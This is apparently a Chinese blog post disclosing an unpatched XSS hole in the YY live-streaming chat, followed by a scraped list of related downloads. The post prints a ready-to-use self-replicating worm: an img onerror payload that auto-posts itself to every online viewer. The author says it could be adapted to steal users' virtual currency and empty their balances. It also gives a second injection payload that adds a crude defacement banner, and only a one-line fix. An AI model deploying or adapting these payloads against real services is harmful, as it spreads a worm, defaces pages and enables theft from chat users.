本来是可以直接通过<script>标签实现的,但是昨天被YY官方给屏蔽了。
下面的代码是通过img标签的onerror事件进行触发。所有看到这条消息的在线用户会被自动感染,并继续感染其他用户,因为这段代码有自我复制能力。.
<img height="0" width="0" src="xx" onerror='t=this;function fn(){n = $("#userName").html();$("textarea#pub_msg_input.msg-input").val(n + "说:2hY太屌X了,你就是我们的偶像," + new Date().getTime() + " " + t.outerHTML);$("#msg_send_bt").click();}setInterval(fn, 3000)'>
上面这段代码只是自动发送一条消息,稍加改造,可以盗取用户的Y币,银豆,帮用户自动下注,使用户余额清空等恶劣的破坏作用。到目前为止YY官方还未修复此漏洞,也请各位不要去做违法的事情。
下面这段代码没有感染能力
<div style="position:fixed;top:70px;right:500px;background-color:green;z-index:1000;"><font size="20" color="red" font-weight="bold">想爆翻译妹子菊花的扣11111</font></div>
解决方案:
过滤 img, iframe, script等标签,对所有输出利用esapi进行编码,当然对输入利用白名单机制进行限制
相关推荐
iShow是一套基于P2P技术的在线视频直播系统,iShow依存于web网页,无需下载插件,可实现低延时高清的视频语音直播体验。现已广泛应用于教育、娱乐、客服等各个行业,随着国内带宽的提升和各类新技术的加入,视频直播...
yy直播助手是一款免费好用的专门针对YY主播进行优化的开播软件。软件功能强大,它拥有更多的功能和更好的体验,一键即可开启直播。 软件能够帮助用户直播自己正在录制的视频,支持lol、doat、dnf等海量游戏直播,...
文章地址:...公司项目 是一款综合视频社交应用,类似于 YY 直播客户端,可以聊天也可以 看直播。内含多种支付方式,易宝 支付宝 银联 等等,提供出来 大家一起学习、
Yy全部表情代码
寒龙音频音效大师YY直播音效适用于YY主持,MC喊麦主持,直播音效、快手录段子音效,主播音效搞笑主持必备工具,笑声、鼓掌、搞笑音等等100多种效果,需要的朋友快来下载使用吧。 更新说明 寒龙音频音效大师YY直播...
《YY直播应用大数据决胜安全对抗的实践》.pdf 《YY直播应用大数据决胜安全对抗的实践》.pdf 《YY直播应用大数据决胜安全对抗的实践》.pdf
寒龙音效大师YY直播特效主播主持快手特效
YY直播调用 内置JS HTML 上传就能用
易语言YY多开源代码 易语言YY多开源代码 易语言YY多开源代码
财经直播聊天系统在线聊天、海量在线客户显示,支持文字、表情、图片、主持人语音视频互动等多样化创新功能,让您拥有一个功能强大的专业沟通软件。有我,你就够了;规范化的喊单操作,不同级别客户权限设置,支持...
寒龙音频音效大师YY直播音效适用于YY主持;MC喊麦主持,直播音效、快手录段子音效,主播音效搞笑主持必备工具,笑声、鼓掌、搞笑音等等100多种效果。 寒龙音频音效大师YY直播音效 v3.0更新: 解决个别电脑打开后...
虎牙直播和YY直播什么关系?.docx
先序中序后序、volatile、时间片、SYN包、XML、判断搜索二叉树、找出符合条件的字符串、TCP协议、
这是用易语言写的一款YY获取订阅直播通知的一个小功能程序,我们给大家分享了源码,感谢大家对脚本之家的支持。
YY直播基于软硬件的弱网深度优化.pdf
YY主持音效软件适用于YY主持;MC喊麦主持,直播音效、快手录段子音效,主播音效搞笑主持必备工具,笑声、鼓掌、搞笑音等等100多种效果。
YY直播应用大数据决胜安全对抗的实践培训课件.pptx
藏经阁-YY直播基于软硬件的弱网深度优化.pdf